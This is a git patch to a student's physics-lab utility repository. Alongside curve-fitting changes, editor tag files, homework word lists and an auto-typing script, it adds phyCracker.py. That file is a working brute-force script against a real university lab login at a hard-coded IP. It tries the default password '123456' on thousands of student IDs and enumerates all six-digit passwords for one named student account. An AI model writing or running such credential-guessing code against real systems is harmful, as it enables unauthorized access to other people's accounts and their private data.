From 57fedb67cb3df2306935bd990a598cc032ac0aed Mon Sep 17 00:00:00 2001 From: Recolic Keghart <root@recolic.net> Date: Tue, 5 Dec 2017 12:25:17 +0800 Subject: [PATCH] Add polynomial curl fitting. --- .vscode/settings.json | 3 + .vscode/tags | 172 ++++++++++++++++++++++++++++ __pycache__/quickmap.cpython-36.pyc | Bin 1747 -> 2519 bytes input/2 | 1 + input/5.dat | 1 + input/aa | 1 + input/d | 1 + input/en.py | 24 ++++ input/ff | 1 + input/sound-converted.dat | 1 - phyCracker.py | 79 +++++++++++++ phySpider.py | 24 ++-- quickmap.py | 52 +++++---- test.py | 8 ++ 14 files changed, 335 insertions(+), 33 deletions(-) create mode 100644 .vscode/settings.json create mode 100644 .vscode/tags create mode 100644 input/2 create mode 100644 input/5.dat create mode 100644 input/aa create mode 100644 input/d create mode 100755 input/en.py create mode 100644 input/ff create mode 100644 phyCracker.py create mode 100644 test.py diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..615aafb --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,3 @@ +{ + "python.pythonPath": "/usr/bin/python3" +} \ No newline at end of file diff --git a/.vscode/tags b/.vscode/tags new file mode 100644 index 0000000..af09553 --- /dev/null +++ b/.vscode/tags @@ -0,0 +1,172 @@ +!_TAG_FILE_FORMAT 2 /extended format; --format=1 will not append ;" to lines/ +!_TAG_FILE_SORTED 1 /0=unsorted, 1=sorted, 2=foldcase/ +!_TAG_PROGRAM_AUTHOR Darren Hiebert /dhiebert@users.sourceforge.net/ +!_TAG_PROGRAM_NAME Exuberant Ctags // +!_TAG_PROGRAM_URL http://ctags.sourceforge.net /official site/ +!_TAG_PROGRAM_VERSION 5.8 // +DrawPoint.py ../DrawPoint.py 1;" kind:file line:1 +GetMap ../quickmap.py /^def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False):$/;" kind:function line:11 +GetMap ../sound/quickmap.py /^def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False):$/;" kind:function line:11 +GetMap ../va/quickmap.py /^def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False):$/;" kind:function line:11 +HallEffect.py ../hall/HallEffect.py 1;" kind:file line:1 +HallEffect2.py ../hall/HallEffect2.py 1;" kind:file line:1 +I ../va/va.py /^I=[itrue\/150*float(sys.argv[3]) for itrue in Iraw]$/;" kind:variable line:11 +Imax ../hall/HallEffect.py /^Imax = 5 # Maybe you need to change it to 0.5 for Im$/;" kind:variable line:11 +PyKeyboard ../input/dataInput.py /^print('from pykeyboard import PyKeyboard')$/;" kind:namespace line:15 +PyKeyboard ../input/en.py /^print('from pykeyboard import PyKeyboard')$/;" kind:namespace line:14 +PyKeyboard ../sound/dataInput.py /^print('from pykeyboard import PyKeyboard')$/;" kind:namespace line:15 +U ../va/va.py /^U=[utrue\/100*float(sys.argv[2]) for utrue in Uraw]$/;" kind:variable line:10 +_dump ../phyCracker.py /^def _dump(sid,pswd):$/;" kind:function line:9 +ar ../input/dataInput.py /^ ar=dataset #fuck numpy......$/;" kind:variable line:21 +ar ../input/en.py /^ar=fd.read().replace('\\n','').replace('\\'','\\\\\\'').replace('’','\\\\\\'').split(sys.argv[2])$/;" kind:variable line:10 +ar ../sound/dataInput.py /^ ar=dataset #fuck numpy......$/;" kind:variable line:21 +b ../hall/HallEffect2.py /^ b = 4$/;" kind:variable line:100 +b ../hall/HallEffect2.py /^b=toFloat(input('b(mm) 4.00 ?>'))$/;" kind:variable line:94 +c6 ../hall/HallEffect2.py /^c6 = k * l * 10 \/ (b * d)$/;" kind:variable line:106 +crackOneAccount ../phyCracker.py /^def crackOneAccount(sid, rangeGen=range(1000000)):$/;" kind:function line:61 +d ../hall/HallEffect.py /^d=toFloat(input('d(mm) 0.500 ?>'))$/;" kind:variable line:94 +d ../hall/HallEffect2.py /^d=toFloat(input('d(mm) 0.500 ?>'))$/;" kind:variable line:93 +dat ../va/va.py /^dat=numpy.loadtxt(sys.argv[1], delimiter=' ')$/;" kind:variable line:8 +dataInput.py ../input/dataInput.py 1;" kind:file line:1 +dataInput.py ../sound/dataInput.py 1;" kind:file line:1 +dataset ../input/dataInput.py /^dataset=numpy.loadtxt(sys.argv[1], delimiter=' ')$/;" kind:variable line:13 +dataset ../sound/dataInput.py /^dataset=numpy.loadtxt(sys.argv[1], delimiter=' ')$/;" kind:variable line:13 +doLogin ../phySpider.py /^def doLogin():$/;" kind:function line:30 +doTest ../phySpider.py /^def doTest(expNum, weekNum, cookieStr):$/;" kind:function line:41 +draw ../va/va.py /^from quickmap import GetMap as draw$/;" kind:namespace line:4 +dumpWebpage ../phySpider.py /^def dumpWebpage(content, filePath):$/;" kind:function line:36 +en.py ../input/en.py 1;" kind:file line:1 +errorPageDump ../phySpider.py /^errorPageDump = '\/home\/recolic\/tmp\/phySpiderDump.html'$/;" kind:variable line:15 +experimentNumberDict ../phySpider.py /^experimentNumberDict = {$/;" kind:variable line:18 +experimentNumberList ../phySpider.py /^experimentNumberList = [52,53,54,55,56,57,58,59]$/;" kind:variable line:12 +fail ../phyCracker.py /^fail=0$/;" kind:variable line:72 +farr ../hall/HallEffect.py /^ farr = [abs(float(v)) for v in sarr]$/;" kind:variable line:30 +farr ../hall/HallEffect.py /^ farr = [abs(float(v)) for v in sarr]$/;" kind:variable line:51 +farr ../hall/HallEffect.py /^ farr = fcont.split('\\n')$/;" kind:variable line:19 +farr ../hall/HallEffect2.py /^ farr = [abs(float(v)) for v in sarr]$/;" kind:variable line:29 +farr ../hall/HallEffect2.py /^ farr = [abs(float(v)) for v in sarr]$/;" kind:variable line:50 +farr ../hall/HallEffect2.py /^ farr = fcont.split('\\n')$/;" kind:variable line:18 +fcont ../hall/HallEffect.py /^ fcont = fd.read()$/;" kind:variable line:17 +fcont ../hall/HallEffect2.py /^ fcont = fd.read()$/;" kind:variable line:16 +fd ../hall/HallEffect.py /^ fd = open(sys.argv[1])$/;" kind:variable line:16 +fd ../hall/HallEffect2.py /^ fd = open(sys.argv[1])$/;" kind:variable line:15 +fd ../input/en.py /^fd=open(sys.argv[1],'r')$/;" kind:variable line:9 +gsa ../hall/HallEffect.py /^gsa=toFloat(input('B\/Im(KGS\/A) >'))$/;" kind:variable line:95 +hallC ../hall/HallEffect.py /^hallC = k * d * 1e4 \/ (im * gsa) # KGs and mm$/;" kind:variable line:104 +im ../hall/HallEffect.py /^ im = 0.45$/;" kind:variable line:103 +im ../hall/HallEffect.py /^im=toFloat(input('Im(A) 0.450 ?>'))$/;" kind:variable line:96 +kb0 ../hall/HallEffect.py /^kb0 = [1,0]$/;" kind:variable line:67 +kb0 ../hall/HallEffect2.py /^kb0 = [10,0]$/;" kind:variable line:66 +kb0 ../oil/oil0.py /^kb0 = [10,0]$/;" kind:variable line:28 +kbFinal ../hall/HallEffect.py /^kbFinal = leastsq(lossFunc, kb0, args=(I, V))$/;" kind:variable line:68 +kbFinal ../hall/HallEffect2.py /^kbFinal = leastsq(lossFunc, kb0, args=(V, I))$/;" kind:variable line:67 +kbFinal ../oil/oil0.py /^kbFinal = leastsq(lossFunc, kb0, args=(V, I))$/;" kind:variable line:29 +l ../hall/HallEffect2.py /^ l = 3$/;" kind:variable line:102 +l ../hall/HallEffect2.py /^l=toFloat(input('l(mm) 3.00 ?>'))$/;" kind:variable line:95 +leastsq ../hall/HallEffect.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7 +leastsq ../hall/HallEffect2.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7 +leastsq ../oil/oil0.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7 +leastsq ../quickmap.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7 +leastsq ../sound/quickmap.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7 +leastsq ../va/quickmap.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7 +lineFunc ../hall/HallEffect.py /^def lineFunc(kb, i):$/;" kind:function line:60 +lineFunc ../hall/HallEffect2.py /^def lineFunc(kb, v):$/;" kind:function line:59 +lineFunc ../oil/oil0.py /^def lineFunc(kb, v):$/;" kind:function line:21 +lineFunc ../quickmap.py /^ def lineFunc(kb, v):$/;" kind:function line:21 +lineFunc ../sound/quickmap.py /^ def lineFunc(kb, v):$/;" kind:function line:21 +lineFunc ../va/quickmap.py /^ def lineFunc(kb, v):$/;" kind:function line:21 +lossFunc ../hall/HallEffect.py /^lossFunc = lambda kb, i, v : lineFunc(kb, i) - v$/;" kind:variable line:64 +lossFunc ../hall/HallEffect2.py /^lossFunc = lambda kb, v, i : lineFunc(kb, v) - i$/;" kind:variable line:63 +lossFunc ../oil/oil0.py /^lossFunc = lambda kb, v, i : lineFunc(kb, v) - i$/;" kind:variable line:25 +m_cookie ../phySpider.py /^ m_cookie=m_cookie[0:len(m_cookie)-2]$/;" kind:variable line:99 +m_cookie ../phySpider.py /^ m_cookie = cookieFile.readline()$/;" kind:variable line:97 +m_cookie ../phySpider.py /^ m_cookie = input()$/;" kind:variable line:102 +m_cookie ../phySpider.py /^ m_cookie = doLogin()$/;" kind:variable line:105 +matplotlib ../DrawPoint.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:2 +matplotlib ../hall/HallEffect.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +matplotlib ../hall/HallEffect2.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +matplotlib ../oil/oil0.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +matplotlib ../quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +matplotlib ../sound/quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +matplotlib ../va/quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +n ../hall/HallEffect.py /^n = 1 \/ (hallC * 1.6021766208e-19)$/;" kind:variable line:105 +numpy ../DrawPoint.py /^import numpy$/;" kind:namespace line:1 +numpy ../hall/HallEffect.py /^import numpy, sys$/;" kind:namespace line:6 +numpy ../hall/HallEffect2.py /^import numpy, sys$/;" kind:namespace line:6 +numpy ../input/dataInput.py /^import numpy$/;" kind:namespace line:12 +numpy ../oil/oil0.py /^import numpy, sys$/;" kind:namespace line:6 +numpy ../quickmap.py /^import numpy$/;" kind:namespace line:6 +numpy ../sound/dataInput.py /^import numpy$/;" kind:namespace line:12 +numpy ../sound/quickmap.py /^import numpy$/;" kind:namespace line:6 +numpy ../va/quickmap.py /^import numpy$/;" kind:namespace line:6 +numpy ../va/va.py /^import numpy$/;" kind:namespace line:2 +oil0.py ../oil/oil0.py 1;" kind:file line:1 +oneLine ../input/dataInput.py /^ oneLine=True$/;" kind:variable line:22 +oneLine ../input/dataInput.py /^oneLine=False$/;" kind:variable line:18 +oneLine ../sound/dataInput.py /^ oneLine=True$/;" kind:variable line:22 +oneLine ../sound/dataInput.py /^oneLine=False$/;" kind:variable line:18 +parse ../phyCracker.py /^import urllib.request, urllib.parse$/;" kind:namespace line:5 +parse ../phySpider.py /^import urllib.parse, urllib.request$/;" kind:namespace line:6 +phyCracker.py ../phyCracker.py 1;" kind:file line:1 +phySpider.py ../phySpider.py 1;" kind:file line:1 +plt ../DrawPoint.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:2 +plt ../hall/HallEffect.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +plt ../hall/HallEffect2.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +plt ../oil/oil0.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +plt ../quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +plt ../sound/quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +plt ../va/quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8 +px ../DrawPoint.py /^px=numpy.linspace(0,65,1000)$/;" kind:variable line:16 +px ../hall/HallEffect.py /^px=numpy.linspace(0,Imax,1000)$/;" kind:variable line:78 +px ../hall/HallEffect2.py /^px=numpy.linspace(0,100,1000)$/;" kind:variable line:77 +px ../oil/oil0.py /^px=numpy.linspace(0,maxX,1000)$/;" kind:variable line:39 +py ../hall/HallEffect.py /^py=k*px+b$/;" kind:variable line:79 +py ../hall/HallEffect2.py /^py=k*px+b$/;" kind:variable line:78 +py ../oil/oil0.py /^py=k*px+b$/;" kind:variable line:40 +quickmap.py ../quickmap.py 1;" kind:file line:1 +quickmap.py ../sound/quickmap.py 1;" kind:file line:1 +quickmap.py ../va/quickmap.py 1;" kind:file line:1 +rcParams ../DrawPoint.py /^from matplotlib import rcParams$/;" kind:namespace line:3 +rcParams ../hall/HallEffect.py /^from matplotlib import rcParams$/;" kind:namespace line:9 +rcParams ../hall/HallEffect2.py /^from matplotlib import rcParams$/;" kind:namespace line:9 +rcParams ../oil/oil0.py /^from matplotlib import rcParams$/;" kind:namespace line:9 +rcParams ../quickmap.py /^from matplotlib import rcParams$/;" kind:namespace line:9 +rcParams ../sound/quickmap.py /^from matplotlib import rcParams$/;" kind:namespace line:9 +rcParams ../va/quickmap.py /^from matplotlib import rcParams$/;" kind:namespace line:9 +request ../phyCracker.py /^import urllib.request, urllib.parse$/;" kind:namespace line:5 +request ../phySpider.py /^import urllib.parse, urllib.request$/;" kind:namespace line:6 +rh ../hall/HallEffect2.py /^rh=toFloat(input('RH(Calculated by HallEffect.py) ?>'))$/;" kind:variable line:96 +s ../hall/HallEffect.py /^ s = input('>')$/;" kind:variable line:41 +s ../hall/HallEffect2.py /^ s = input('>')$/;" kind:variable line:40 +sarr ../hall/HallEffect.py /^ sarr = s.split(' ')$/;" kind:variable line:26 +sarr ../hall/HallEffect.py /^ sarr = s.split(' ')$/;" kind:variable line:47 +sarr ../hall/HallEffect2.py /^ sarr = s.split(' ')$/;" kind:variable line:25 +sarr ../hall/HallEffect2.py /^ sarr = s.split(' ')$/;" kind:variable line:46 +success ../phyCracker.py /^success=0$/;" kind:variable line:71 +sys ../hall/HallEffect.py /^import numpy, sys$/;" kind:namespace line:6 +sys ../hall/HallEffect2.py /^import numpy, sys$/;" kind:namespace line:6 +sys ../input/dataInput.py /^import sys$/;" kind:namespace line:7 +sys ../input/en.py /^import sys$/;" kind:namespace line:4 +sys ../oil/oil0.py /^import numpy, sys$/;" kind:namespace line:6 +sys ../phySpider.py /^import sys$/;" kind:namespace line:7 +sys ../sound/dataInput.py /^import sys$/;" kind:namespace line:7 +sys ../va/va.py /^import sys$/;" kind:namespace line:3 +time ../input/dataInput.py /^print('import time')$/;" kind:namespace line:16 +time ../input/en.py /^print('import time')$/;" kind:namespace line:15 +time ../sound/dataInput.py /^print('import time')$/;" kind:namespace line:16 +toFloat ../hall/HallEffect.py /^def toFloat(sstr):$/;" kind:function line:85 +toFloat ../hall/HallEffect2.py /^def toFloat(sstr):$/;" kind:function line:84 +toFloat ../oil/oil0.py /^def toFloat(sstr):$/;" kind:function line:46 +toFloat ../quickmap.py /^ def toFloat(sstr):$/;" kind:function line:53 +toFloat ../sound/quickmap.py /^ def toFloat(sstr):$/;" kind:function line:53 +toFloat ../va/quickmap.py /^ def toFloat(sstr):$/;" kind:function line:53 +tryDump ../phyCracker.py /^def tryDump(sid):$/;" kind:function line:57 +u ../hall/HallEffect2.py /^u = c6 * rh$/;" kind:variable line:107 +urllib ../phyCracker.py /^import urllib.request, urllib.parse$/;" kind:namespace line:5 +urllib ../phySpider.py /^import urllib.parse, urllib.request$/;" kind:namespace line:6 +va.py ../va/va.py 1;" kind:file line:1 +weekNumberList ../phySpider.py /^weekNumberList = [12,13,14,15,16,17]$/;" kind:variable line:11 +x ../DrawPoint.py /^x=xrc$/;" kind:variable line:7 +xrc ../DrawPoint.py /^xrc=[0.0, 2.0, 4.0, 10.0, 20.0, 22.0, 25.0, 30.0, 33.0, 35.0, 37.0, 38.0, 38.5, 39.0, 39.6, 40.0, 40.5, 41.0, 43.0, 44.0, 45.0, 46.0, 47.0, 48.0, 49.0, 50.0, 53.0, 55.0, 60.0]$/;" kind:variable line:6 +y ../DrawPoint.py /^y=[abs(yi) for yi in yrc]$/;" kind:variable line:8 +yrc ../DrawPoint.py /^yrc=[-6.77, -6.78, -6.78, -6.76, -6.73, -6.73, -6.72, -6.70, -6.69, -6.67, -6.60, -6.45, -6.37, -6.20, -5.99, -5.77, -5.45, -5.07, -3.52, -2.87, -2.36, -2.08, -1.77, -1.55, -1.40, -1.26, -0.97, -0.84, -0.64]$/;" kind:variable line:5 diff --git a/__pycache__/quickmap.cpython-36.pyc b/__pycache__/quickmap.cpython-36.pyc index 93010c0d256ca909763358e61f48997018e88c3b..5941b8d85c574f82e1cb81064e894656e422ef5d 100644 GIT binary patch literal 2519 zcmb7FTTk3Z6rLH|yWT4h2#`w?H)?3NYL-Z?5-Ec8Mu{plGzwA!R-?*z%wq7`W;|P1 z%YNx1K^`KtkL@pLe@g#?U;9#iLV4;rV*(^<RdwW<GuLyDzw@1$4_mGJ^vyZ@uPPyb zkPD>({ZF7K*l@yWKx~vOpnYaDTFz<Px^2L$7F7CGy9%>9Hx7tx@+PnI#sRf!oUW2i z>ln0<l@2Ycf#)PL*@dnt+$WB3`iaYM6^e0MKL?pSg+`K$j3~5pM0YeXCn={HI00jw z63MtWqCZfs=WPF$)H2-1mdNv|Z&|M8dd4y>)2GONlC#}=&q&6=6=Nm6{Dlyacwjx- z@&nKM-j$B!Csx|BoRH&iLk+L<NcIPT^sUhIcwz-!=va%3C^x!-f_ELg&|p*;vG7A# z)W30pfv0pATI$Cg!`4CDr>gzT)|@aYs8i65--xKg@sr#0TT$Pe7oHmhzB}(m+?$Vw z^YPYjes|!zJAEha#>1ikjyy(3;$YZ7WZKXWI!@cvq&l5~o@m0%v1&~0p?AwJcCk!C zh4>N;YO)4v65=_c6u`|WBe|K^B+bkbMX>TZtg_7HT2@maLrih6WZN3<QL;9|bB(-t zNDtX2;|8xBm@mj7*`&P6%>y%UWrp~b*LeMaNd1WN#tZ~<32NTv%?#=Skw(_a+F2uO zf`-;h4T3h7kAwAgHZ}r=g(mdJ&^8~J6+W>*_$82&Ag4fH1`XA16N3!rr(dFv)$JPU z<1>7gU*T6@8t{+Ck5qgFUf02HonISiFErW6#tt>`^*Z=xzV6?M<rAQ%d8B0%{4IWi z-z@dOTx&#>jrOS=L&+`v_5sN+aRTJJwUS<a<b|H_-8+vw`PhlAjiL3l3~)DXu15o5 z`C&Ye53CcKrSC5}Kt2e6;JMO|LW@VC*R_-iNBUvU5?%tK?{>RqNrF+-p<+~%yU-}q zDQEB}1d!IwkY-0r%yCEqt^-z(I2jw2Dc~YOuwdq$DVu^p4@mL6nbRYn#w7WP?dq!~ zTNPzHtYF={K=^3S6Oh7mUrh_7<w<=Z@Du4q{rKTc7$>N^LedXPAi4`d<T^p}up9WH zw>${l^O^I5Vhj$I$;ApoIAPCI-0o-v-4Xc9Dx228ky_u`UweX%fIm)>eBGgHgL0-Y zUs<_<uBc3)S0P(Wn$G^4LoPy#1tnGmF=iW}q3)K9&0?78N{NOhreRT8E$9&JU%?^f z_A4i%B*9;O2c{CJ<R6TmZh0*vXnYmVj6<VBV&;^eh6C&<l+aFxi3tz|{jM~7W?Nt| z--G%p48Tj|<9~oo3*8aDB%N6HrG*flGID1zy}cxyJ)|UDOV*w*x1xcxHhrmR>Zr{? z(-V3pZTE!FRhSbw3_M%kfO|2mt6AWBBznL6jOF)_FKpfOx!medySnN35<m59O?W(Q zt~&h~F6k!`+_1+8OGmQ}rNlM@XTuBZ8oH@Y`+vfQ*Kqt_)K*A}OK5`@EWSW(1?K&8 zFzrgDsF^kaCiVYcfe*(>_%rjEVK||}I13$kx9AQNO%5qozH6)Shyt6ml>%aXTEMii z8AOf*DD)(e;*Gc#RT(Yg`XU@i@RcU`3b1tM&G??~>x>J0RtpW%r7*%lKOWkKBZM;) zmtkI@j{<=$v^bD<1>heD&#oq}Bc&&7Or#`s+%gYsJq{w+6?i=_<hG761wXf<z0RZ! zX(+^6Dc0=<kcCHks}Rezi-Yx|;q6N}z4p|RUZG?71Og;xps|5}paa`=TgMbHD17VU z8ZH_;Uxq%I-&yuUClJ@sZ59s&=2w}LdYOZ$s#I!W5AUa<QX+(jk=%m@fveM|hR^6U zYgd|@PN%U?o6OWq=$Y`ePSFZHv=&G;!^9mp*{O&Y2!VHlO2*}7B|3F62UB)Cas7DM zjbiEd;r|uL_C(*2h+g1tz_VWBSW59O9;%<OtAMDBPno;GfwKfJ%!Pi$2Z8qxNs!>Y LNt^gX%&h$lU4ln> delta 1154 zcmYimO>f*pbe`?CXT9FfxJkNgNZM2?OVt*sE#k1GoLu!lIYdHPiv!*rXXC_cuf`5( zqOtanNG*p*jr=R%FYq%sAkCEvITs0u6K}jl#nStn_x)!4`^s<4?I+Eq{daeJv}qFZ z2l?M;ApbQ&_T|;~qjsHHj9!3G8SIjQeRZ(0xOVXLnj-Qh=v;j+Vhce>$UGn<Ck)O3 zh#&$qQkaF6gD}s5X)Zy|LQZ!Hp3tI>wuUfS4YdX+Pqag-9qP)XqG*q{cF}kPi+!kS zqCb&01o=9%FKFQiga5)B%$aIMGdF}In!*;1eT_9Q^`a$O%(+Rv*NS%0!2~VQW^K_? z=@N=^M<rz4yvBM%!d8&FNN*rr9g^HUw1g&fjJ0+NuuuxBg0ppYll9rH%Nq7+yaRq0 zYppX!P<H!VFS?>Fx-Jo&HB$7@#}-}DV;k%fwz>2{UE`c!r{<yafi@LoTkOsSDOMQ4 zk>7oF)_)NuA&({xUxfKLLHUE;>`k9k-}~p&YW(D{=jBZI_SNn*gcY@hdx(VUSu6Cn zguB=SxEOLtg}#P-l>%P<Oa_M3j>ZyxlyD?rJOEjn2U+$lS6lsO>+wN43m@}vlE%@b zd<Sly#!(V_$I0Y|%B5}t0SX3Ct$c5IyUJ~#bEW5XL=vI_@RkzQ5pOCT9mc_I%z~ZU zC}jxbY`yAn{%9DdlOWD^kXf2s+ofgRu|{8=>3drb%FoQJRauLJaTv?GD&-_%`9buj zPReIivR>u*n8?agFHVE}S^2B=>8%#_#-k*c`Yd=YYsv9!ekyAL=fP<SbZa41Z`nMU zguXG4(_ETyI1Ll#8&e)JX=DfK$-wn-K%DO_$;h`(qJ*U<d;c*bX{fTedMv(CSt>m8 z4NSUM;gN*zB)s%#oMxFCrLP~2Klc~b(b$WUAm%pu@`eha&0kAxe#-kwQ_WUe4pW6+ z4%1vtPMK$4AX4kFp>MR1u7YDZIxYu#;6O*CIz^sB2V5|rg*vyAsmAXUe9HratE<Fo zh&*pl=Nsj2{prh16n%RZ<Z3E$H0J8LqsNDumYe-Jbvm4->^Kg0)L){yA`~;(;AsB> Dw#))^ diff --git a/input/2 b/input/2 new file mode 100644 index 0000000..4a98a88 --- /dev/null +++ b/input/2 @@ -0,0 +1 @@ +fashionable clothes, trends, copied, traditional center, are guarded, July, great numbers, a high price, starting point, only a part diff --git a/input/5.dat b/input/5.dat new file mode 100644 index 0000000..cedac8c --- /dev/null +++ b/input/5.dat @@ -0,0 +1 @@ +looks funny, looks fine, out of fashion, good on her, out-dated, following the fashion trends, no wonder diff --git a/input/aa b/input/aa new file mode 100644 index 0000000..73127bc --- /dev/null +++ b/input/aa @@ -0,0 +1 @@ +new clothes, full of clothes, university tuition, clothes in fashion, the Middle Ages, part-time job, not too expensive diff --git a/input/d b/input/d new file mode 100644 index 0000000..1b85a8b --- /dev/null +++ b/input/d @@ -0,0 +1 @@ +different and daring, Teenagers, their legs, shorter and shorter, five inches, loose morals, never appear, look childlike, women’s liberation, traditional diff --git a/input/en.py b/input/en.py new file mode 100755 index 0000000..75e9e39 --- /dev/null +++ b/input/en.py @@ -0,0 +1,24 @@ +#!/bin/env python +# It helps me to copy English answer really quick! + +import sys +if len(sys.argv) < 3: + print('Usage: ./dataInput.py /path/to/dat/file \'delimiter\' | python') + exit(123) + +fd=open(sys.argv[1],'r') +ar=fd.read().replace('\n','').replace('\'','\\\'').replace('’','\\\'').split(sys.argv[2]) +fd.close() + +print('#!/bin/env python3') +print('from pykeyboard import PyKeyboard') +print('import time') +print('k=PyKeyboard()') +print('print(\'Waiting for 5 second... Please be ready for auto-typing.\')') +print('time.sleep(5)') +for i in ar: + if len(i) == 0: + continue + print('k.type_string(\''+i+'\')') + print('k.tap_key(k.tab_key)') + diff --git a/input/ff b/input/ff new file mode 100644 index 0000000..94d9bbb --- /dev/null +++ b/input/ff @@ -0,0 +1 @@ +nervous, afraid, first time, locker, blanket, come out, wore diff --git a/input/sound-converted.dat b/input/sound-converted.dat index d9c87a9..2e6073a 100644 --- a/input/sound-converted.dat +++ b/input/sound-converted.dat @@ -1,2 +1 @@ 36837 37258 36845 37345 36870 37283 36855 37327 36843 37261 -3.54 4.37 8.26 25.9 13.2 47.7 17.7 66.95 22.46 87.16 27.14 108.6 32.06 129.9 36.68 150.8 41.48 173.35 46.3 194.69 50.86 217.16 55.8 239.56 diff --git a/phyCracker.py b/phyCracker.py new file mode 100644 index 0000000..007c755 --- /dev/null +++ b/phyCracker.py @@ -0,0 +1,79 @@ +#!/bin/env python3 +# -*- coding: UTF-8 -*- + +# from http import cookies +import urllib.request, urllib.parse + +cookie='ASPSESSIONIDQSCRDTDT=BDILIEMCJBBJKOBMFFHODGLJ' + +def _dump(sid,pswd): + logData=urllib.parse.urlencode({ + 'xsxh':sid, + 'mm':pswd, + 'Login':'%B5%C7%C2%BC' + }).encode('utf-8') + req=urllib.request.Request('http://115.156.233.249/login.asp', headers={ + 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', + 'Accept-Encoding':'gzip, deflate', + 'Accept-Language':'en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4', + 'Cache-Control':'no-cache', + 'Connection':'keep-alive', + 'Content-Length':'43', + 'Content-Type':'application/x-www-form-urlencoded', + 'Cookie':cookie, + 'Host':'115.156.233.249', + 'Origin':'http://115.156.233.249', + 'Pragma':'no-cache', + 'Referer':'http://115.156.233.249/login.asp', + 'Upgrade-Insecure-Requests':'1', + 'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36' + }) + resp=urllib.request.urlopen(req, data=logData) + respstr=resp.read().decode('utf-8', errors = 'backslashreplace') + if len(respstr) < 5000: + print('<div align="center"> Login failed.') + return False + print('<div align="center"> Login done.') + + req=urllib.request.Request('http://115.156.233.249/TongZhi.asp', headers={ + 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', + 'Accept-Encoding':'gzip, deflate', + 'Accept-Language':'en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4', + 'Cache-Control':'no-cache', + 'Connection':'keep-alive', + 'Cookie':cookie, + 'Host':'115.156.233.249', + 'Origin':'http://115.156.233.249', + 'Pragma':'no-cache', + 'Referer':'http://115.156.233.249/login.asp', + 'Upgrade-Insecure-Requests':'1', + 'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36' + }) + resp=urllib.request.urlopen(req) + respstr=resp.read().decode('gb2312', errors = 'backslashreplace') + print(respstr, len(respstr)) + return True + +def tryDump(sid): + print('<div align="center"> -----Dumping', sid) + return _dump(sid,'123456') + +def crackOneAccount(sid, rangeGen=range(1000000)): + for i in rangeGen: + psw=str(i).zfill(6) + print('Testing', psw, '...') + if _dump(sid,psw): + print('Done. password='+psw) + +crackOneAccount('201614531', range(800000, 1000000)) +exit(0) +#### +success=0 +fail=0 +for i in range(201610001, 201617174): + if tryDump(str(i)): + success+=1 + else: + fail+=1 +print('<div align="center"> Done. Success', success, 'Fail', fail) + diff --git a/phySpider.py b/phySpider.py index f1d86ab..053b63e 100644 --- a/phySpider.py +++ b/phySpider.py @@ -6,20 +6,24 @@ import urllib.parse, urllib.request import sys -weekNumberList = [14,15,16,17,18] -experimentNumberList = [37,38,39,40,41,42,43,44] +#weekNumberList = [14,15,16,17,18] +#experimentNumberList = [37,38,39,40,41,42,43,44] +weekNumberList = [12,13,14,15,16,17] +experimentNumberList = [52,53,54,55,56,57,58,59] + + errorPageDump = '/home/recolic/tmp/phySpiderDump.html' # Needn't edit below. experimentNumberDict = { - 37:'分光计', - 38:'多功能摆', - 41:'ç›´æµç”µæ¡¥', - 42:'ä¼å®‰ç‰¹æ€§', - 40:'å¯†é‡Œæ ¹æ²¹æ»´', - 43:'声速测é‡', - 44:'示波器', - 39:'éœå°”效应' + 57:'稳æ€æµ‹å›ºä½“导çƒç³»æ•°', + 59:'电路的暂æ€è¿‡ç¨‹', + 58:'音å‰å®žéªŒ', + 56:'æ‰æ‘†æµ‹è½¬åŠ¨æƒ¯é‡', + 54:'光电效应', + 52:'æ¶²ä½“å¼ åŠ›', + 53:'å振åŒæŠ˜å°„', + 55:'组åˆå…‰å¦' } diff --git a/quickmap.py b/quickmap.py index e0eb9bf..13f8d60 100644 --- a/quickmap.py +++ b/quickmap.py @@ -8,44 +8,52 @@ from scipy.optimize import leastsq import matplotlib.pyplot as plt from matplotlib import rcParams -def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False): +def dotMultiply(vctA, vctB): + if len(vctA) != len(vctB): + print("Error: While vcta is ", vctA, " and vctb is ", vctB) + raise ValueError("dotmulti needs lena == lenb.") + ans = 0 + for a, b in zip(vctA, vctB): + ans += a * b + return ans + +def GetMap(parrX, parrY, windowSizeX=12, windowSizeY=8, extendXRate=1, line=False, passO=False, maxXPower=1): print('Generic-GetMap by Recolic.') arrX, arrY = parrX, parrY - maxX, maxY = max(arrX)*1.2, max(arrY)*1.25 - + maxX = max(arrX) * extendXRate 